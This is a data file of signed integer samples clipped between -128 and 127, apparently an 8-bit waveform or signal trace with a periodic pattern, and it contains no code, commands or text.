+-45 +-105 +-128 +-128 +-97 +28 +127 +127 +127 +44 +-48 +-108 +-128 +-128 +-103 +25 +127 +127 +127 +45 +-45 +-110 +-128 +-128 +-100 +24 +127 +112 +10 +-78 +-128 +-128 +-72 +36 +127 +106 +1 +-81 +-128 +-128 +-71 +42 +127 +110 +10 +-77 +-128 +-128 +-81 +48 +127 +115 +13 +-74 +-128 +-128 +-76 +49 +127 +117 +16 +-71 +-128 +-128 +-76 +52 +127 +120 +16 +-71 +-128 +-128 +-75 +54 +127 +122 +15 +-68 +-128 +-128 +-76 +49 +127 +123 +15 +-69 +-128 +-128 +-73 +55 +127 +127 +127 +47 +-45 +-104 +-128 +-128 +-103 +42 +127 +127 +127 +60 +-35 +-99 +-128 +-128 +-106 +35 +127 +127 +127 +53 +-43 +-103 +-128 +-128 +-112 +31 +127 +127 +127 +47 +-46 +-106 +-128 +-128 +-98 +27 +127 +127 +127 +44 +-48 +-108 +-128 +-128 +-100 +26 +127 +127 +127 +46 +-48 +-108 +-128 +-128 +-101 +26 +127 +127 +127 +46 +-50 +-107 +-128 +-128 +-101 +23 +127 +127 +127 +42 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +42 +-49 +-109 +-128 +-128 +-101 +23 +127 +127 +127 +41 +-48 +-108 +-128 +-128 +-102 +24 +127 +127 +127 +42 +-47 +-109 +-128 +-128 +-103 +24 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-103 +24 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-102 +23 +127 +113 +12 +-78 +-128 +-128 +-70 +39 +127 +104 +3 +-82 +-128 +-128 +-71 +40 +127 +110 +7 +-77 +-128 +-128 +-81 +44 +127 +114 +10 +-76 +-128 +-128 +-78 +49 +127 +118 +14 +-72 +-128 +-128 +-76 +53 +127 +121 +16 +-71 +-128 +-128 +-76 +53 +127 +122 +17 +-70 +-128 +-128 +-74 +55 +127 +122 +20 +-71 +-128 +-128 +-73 +55 +127 +123 +17 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +17 +-67 +-128 +-128 +-74 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +121 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +53 +127 +122 +20 +-66 +-128 +-128 +-74 +54 +127 +121 +18 +-68 +-128 +-128 +-71 +53 +127 +123 +20 +-70 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +121 +20 +-67 +-128 +-128 +-75 +51 +127 +123 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-70 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +16 +-67 +-128 +-128 +-74 +52 +127 +123 +17 +-70 +-128 +-128 +-76 +53 +127 +121 +16 +-67 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-74 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-70 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +121 +21 +-68 +-128 +-128 +-76 +52 +127 +123 +17 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +123 +21 +-70 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +123 +21 +-70 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-66 +-128 +-128 +-71 +53 +127 +119 +16 +-68 +-128 +-128 +-73 +54 +127 +123 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +52 +127 +119 +16 +-70 +-128 +-128 +-76 +54 +127 +120 +16 +-67 +-128 +-128 +-73 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-75 +54 +127 +121 +17 +-67 +-128 +-128 +-73 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-66 +-128 +-128 +-71 +55 +127 +123 +20 +-67 +-128 +-128 +-71 +53 +127 +123 +21 +-69 +-128 +-128 +-75 +52 +127 +122 +16 +-67 +-128 +-128 +-74 +56 +127 +123 +17 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +20 +-68 +-128 +-128 +-71 +53 +127 +120 +17 +-67 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +53 +127 +123 +18 +-70 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +52 +127 +118 +15 +-72 +-128 +-128 +-75 +52 +127 +122 +16 +-67 +-128 +-128 +-73 +56 +127 +123 +21 +-69 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-71 +52 +127 +119 +16 +-70 +-128 +-128 +-75 +54 +127 +122 +17 +-66 +-128 +-128 +-74 +53 +127 +119 +16 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +55 +127 +124 +20 +-68 +-128 +-128 +-71 +53 +127 +121 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-76 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +18 +-67 +-128 +-128 +-70 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +127 +127 +50 +-44 +-105 +-128 +-128 +-102 +40 +127 +127 +127 +58 +-36 +-112 +-128 +-128 +-107 +36 +127 +127 +127 +52 +-42 +-103 +-128 +-128 +-112 +30 +127 +127 +127 +47 +-44 +-106 +-128 +-128 +-98 +29 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-100 +26 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-48 +-110 +-128 +-107 +16 +112 +84 +-15 +-97 +-128 +-128 +-101 +29 +126 +100 +-2 +-70 +-128 +-128 +-88 +39 +127 +109 +6 +-79 +-128 +-128 +-82 +45 +127 +114 +11 +-75 +-128 +-128 +-78 +50 +127 +117 +13 +-73 +-128 +-128 +-75 +49 +127 +116 +13 +-73 +-128 +-128 +-78 +52 +127 +118 +14 +-69 +-128 +-128 +-75 +54 +127 +121 +16 +-70 +-128 +-128 +-72 +54 +127 +122 +17 +-69 +-128 +-128 +-73 +55 +127 +122 +17 +-70 +-128 +-128 +-73 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +54 +127 +124 +18 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +55 +127 +121 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-73 +56 +127 +124 +16 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-73 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +125 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +57 +127 +122 +19 +-68 +-128 +-128 +-72 +53 +127 +121 +18 +-66 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-70 +54 +127 +122 +20 +-66 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-70 +54 +127 +122 +20 +-68 +-128 +-128 +-75 +52 +127 +122 +16 +-67 +-128 +-128 +-74 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +123 +20 +-70 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +125 +17 +-66 +-128 +-128 +-128 +-69 +59 +127 +127 +127 +76 +-20 +-102 +-128 +-128 +-79 +48 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-104 +37 +127 +127 +127 +53 +-41 +-103 +-128 +-128 +-111 +32 +127 +127 +127 +49 +-44 +-106 +-128 +-128 +-99 +31 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-99 +27 +127 +127 +127 +43 +-46 +-107 +-128 +-106 +17 +111 +85 +-14 +-97 +-128 +-128 +-101 +29 +125 +99 +-2 +-69 +-128 +-128 +-87 +38 +127 +106 +4 +-81 +-128 +-128 +-86 +42 +127 +115 +9 +-74 +-128 +-128 +-78 +49 +127 +118 +14 +-73 +-128 +-128 +-75 +51 +127 +119 +16 +-71 +-128 +-128 +-74 +52 +127 +122 +17 +-70 +-128 +-128 +-73 +54 +127 +121 +16 +-70 +-128 +-128 +-75 +53 +127 +120 +16 +-68 +-128 +-128 +-71 +53 +127 +120 +16 +-69 +-128 +-128 +-76 +56 +127 +120 +17 +-66 +-128 +-128 +-75 +51 +127 +123 +15 +-69 +-128 +-128 +-72 +56 +127 +125 +18 +-68 +-128 +-128 +-71 +55 +127 +122 +17 +-69 +-128 +-128 +-73 +56 +127 +123 +19 +-68 +-128 +-128 +-70 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-72 +53 +127 +124 +16 +-67 +-128 +-128 +-76 +52 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-70 +54 +127 +120 +16 +-70 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-71 +-128 +-128 +-74 +53 +127 +120 +17 +-71 +-128 +-128 +-74 +54 +127 +125 +16 +-66 +-128 +-128 +-74 +54 +127 +123 +17 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +126 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +122 +17 +-70 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-70 +-128 +-128 +-72 +55 +127 +125 +19 +-69 +-128 +-128 +-73 +54 +127 +122 +20 +-68 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +54 +127 +120 +16 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +125 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-73 +56 +127 +121 +20 +-70 +-128 +-128 +-74 +52 +127 +125 +16 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-128 +-66 +62 +127 +127 +127 +75 +-21 +-102 +-128 +-128 -78 47 -136 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-105 +39 +127 +127 +127 +52 +-41 +-103 +-128 +-128 +-110 +31 +127 +127 +127 +48 +-44 +-104 +-128 +-128 +-98 +29 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-99 +26 +127 +127 +127 +44 +-46 +-107 +-128 +-128 +-105 +24 +127 +127 +127 +44 +-46 +-111 +-128 +-128 +-101 +23 +127 +127 +127 +42 +-47 +-110 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-48 +-110 +-128 +-128 +-101 +25 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-103 +26 +127 +127 +127 +43 +-50 +-110 +-128 +-108 +15 +110 +82 +-17 +-99 +-128 +-128 +-102 +26 +126 +98 +-3 +-69 +-128 +-128 +-88 +36 +127 +104 +3 +-81 +-128 +-128 +-86 +44 +127 +111 +8 +-74 +-128 +-128 +-80 +48 +127 +118 +14 +-73 +-128 +-128 +-76 +52 +127 +119 +16 +-70 +-128 +-128 +-75 +53 +127 +120 +17 +-70 +-128 +-128 +-74 +54 +127 +121 +19 +-69 +-128 +-128 +-72 +52 +127 +123 +17 +-69 +-128 +-128 +-75 +53 +127 +121 +19 +-68 +-128 +-128 +-73 +54 +127 +122 +17 +-70 +-128 +-128 +-74 +53 +127 +119 +16 +-68 +-128 +-128 +-76 +54 +127 +121 +16 +-67 +-128 +-128 +-73 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +17 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +55 +127 +124 +18 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +120 +16 +-67 +-128 +-128 +-72 +53 +127 +120 +16 +-71 +-128 +-128 +-73 +56 +127 +124 +20 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +17 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-128 +-66 +60 +127 +127 +127 +74 +-21 +-100 +-128 +-128 +-79 +46 +127 +127 +127 +59 +-32 +-98 +-128 +-128 +-104 +38 +127 +127 +127 +54 +-41 +-103 +-128 +-128 +-110 +32 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-99 +31 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-101 +28 +127 +127 +127 +45 +-45 +-110 +-128 +-128 +-102 +27 +127 +114 +10 +-75 +-128 +-128 +-70 +41 +127 +104 +2 +-83 +-128 +-128 +-70 +41 +127 +111 +8 +-77 +-128 +-128 +-66 +46 +127 +116 +13 +-75 +-128 +-128 +-78 +51 +127 +116 +15 +-70 +-128 +-128 +-77 +53 +127 +121 +14 +-69 +-128 +-128 +-74 +54 +127 +121 +17 +-69 +-128 +-128 +-73 +53 +127 +122 +17 +-70 +-128 +-128 +-75 +53 +127 +122 +17 +-68 +-128 +-128 +-72 +52 +127 +123 +21 +-70 +-128 +-128 +-72 +55 +127 +121 +18 +-68 +-128 +-128 +-71 +52 +127 +119 +16 +-70 +-128 +-128 +-75 +52 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +53 +127 +120 +17 +-71 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-70 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +120 +18 +-66 +-128 +-128 +-73 +55 +127 +124 +18 +-68 +-128 +-128 +-74 +55 +127 +121 +18 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +21 +-70 +-128 +-128 +-75 +51 +127 +123 +17 +-70 +-128 +-128 +-75 +50 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +53 +127 +122 +20 +-68 +-128 +-128 +-75 +52 +127 +122 +17 +-66 +-128 +-128 +-74 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-70 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +17 +-68 +-128 +-128 +-71 +55 +127 +122 +19 +-69 +-128 +-128 +-72 +55 +127 +125 +17 +-66 +-128 +-128 +-71 +53 +127 +120 +16 +-68 +-128 +-128 +-76 +54 +127 +121 +18 +-66 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +56 +127 +123 +20 +-68 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +122 +19 +-67 +-128 +-128 +-73 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +55 +127 +127 +127 +50 +-43 +-105 +-128 +-128 +-102 +42 +127 +127 +127 +60 +-35 +-98 +-128 +-128 +-108 +37 +127 +127 +127 +52 +-42 +-104 +-128 +-128 +-97 +31 +127 +127 +127 +50 +-47 +-104 +-128 +-128 +-100 +29 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-100 +26 +127 +127 +127 +42 +-49 +-107 +-128 +-128 +-101 +23 +127 +127 +127 +42 +-49 +-108 +-128 +-108 +16 +112 +83 +-16 +-97 +-128 +-128 +-101 +28 +125 +99 +-2 +-70 +-128 +-128 +-89 +40 +127 +110 +4 +-77 +-128 +-128 +-84 +46 +127 +112 +10 +-75 +-128 +-128 +-78 +46 +127 +113 +11 +-74 +-128 +-128 +-80 +51 +127 +117 +14 +-69 +-128 +-128 +-77 +50 +127 +118 +15 +-72 +-128 +-128 +-77 +50 +127 +122 +14 +-70 +-128 +-128 +-128 +-71 +59 +127 +127 +127 +75 +-20 +-102 +-128 +-128 +-79 +48 +127 +127 +127 +60 +-34 +-97 +-128 +-128 +-105 +38 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +48 +-45 +-107 +-128 +-128 +-98 +28 +127 +127 +127 +46 +-47 +-108 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-46 +-108 +-128 +-105 +16 +111 +83 +-13 +-80 +-128 +-128 +-103 +26 +127 +101 +-3 +-67 +-128 +-128 +-89 +39 +127 +109 +6 +-80 +-128 +-128 +-82 +45 +127 +114 +11 +-76 +-128 +-128 +-79 +49 +127 +117 +16 +-74 +-128 +-128 +-75 +51 +127 +120 +15 +-71 +-128 +-128 +-74 +52 +127 +121 +16 +-70 +-128 +-128 +-73 +52 +127 +122 +17 +-70 +-128 +-128 +-74 +55 +127 +124 +17 +-67 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-70 +-128 +-128 +-73 +56 +127 +121 +20 +-66 +-128 +-128 +-74 +54 +127 +122 +20 +-68 +-128 +-128 +-73 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-68 +-128 +-128 +-71 +53 +127 +124 +20 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-70 +54 +127 +123 +17 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +56 +127 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +125 +17 +-67 +-128 +-128 +-70 +54 +127 +122 +17 +-68 +-128 +-128 +-72 +53 +127 +121 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +53 +127 +120 +18 +-66 +-128 +-128 +-74 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +55 +127 +124 +19 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +57 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-73 +57 +127 +123 +21 +-69 +-128 +-128 +-73 +56 +127 +122 +17 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-69 +-128 +-128 +-71 +53 +127 +123 +21 +-70 +-128 +-128 +-74 +52 +127 +119 +16 +-71 +-128 +-128 +-76 +54 +127 +122 +16 +-66 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-128 +-66 +62 +127 +127 +127 +76 +-22 +-102 +-128 +-128 +-78 +48 +127 +127 +127 +63 +-34 +-97 +-128 +-128 +-105 +39 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-98 +30 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-49 +-109 +-128 +-128 +-101 +25 +127 +127 +127 +42 +-48 +-109 +-128 +-128 +-101 +23 +127 +127 +127 +41 +-50 +-108 +-128 +-128 +-104 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-104 +26 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-103 +26 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-109 +16 +109 +80 +-16 +-98 +-128 +-128 +-101 +27 +127 +99 +-3 +-69 +-128 +-128 +-88 +38 +127 +110 +5 +-78 +-128 +-128 +-84 +45 +127 +114 +10 +-74 +-128 +-128 +-78 +48 +127 +118 +14 +-73 +-128 +-128 +-75 +51 +127 +120 +15 +-71 +-128 +-128 +-75 +54 +127 +120 +16 +-70 +-128 +-128 +-73 +52 +127 +122 +18 +-69 +-128 +-128 +-73 +53 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +53 +127 +124 +19 +-68 +-128 +-128 +-71 +53 +127 +122 +20 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +125 +18 +-67 +-128 +-128 +-73 +57 +127 +123 +20 +-68 +-128 +-128 +-73 +56 +127 +123 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-70 +-128 +-128 +-73 +56 +127 +122 +20 +-69 +-128 +-128 +-76 +53 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +52 +127 +124 +16 +-69 +-128 +-128 +-70 +53 +127 +120 +16 +-70 +-128 +-128 +-74 +53 +127 +119 +16 +-71 +-128 +-128 +-74 +54 +127 +124 +17 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-71 +54 +127 +122 +19 +-68 +-128 +-128 +-72 +55 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +17 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-128 +-67 +60 +127 +127 +127 +75 +-22 +-101 +-128 +-128 +-76 +47 +127 +127 +127 +62 +-33 +-113 +-128 +-128 +-103 +38 +127 +127 +127 +54 +-40 +-102 +-128 +-128 +-111 +32 +127 +127 +127 +50 +-43 +-105 +-128 +-128 +-98 +31 +127 +127 +127 +47 +-46 +-107 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-48 +-107 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +40 +-51 +-109 +-128 +-128 +-102 +23 +127 +127 +127 +42 +-49 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +44 +-48 +-111 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-103 +25 +127 +127 +127 +43 +-49 +-111 +-128 +-128 +-104 +26 +127 +127 +127 +42 +-50 +-111 +-128 +-128 +-103 +24 +127 +127 +127 +43 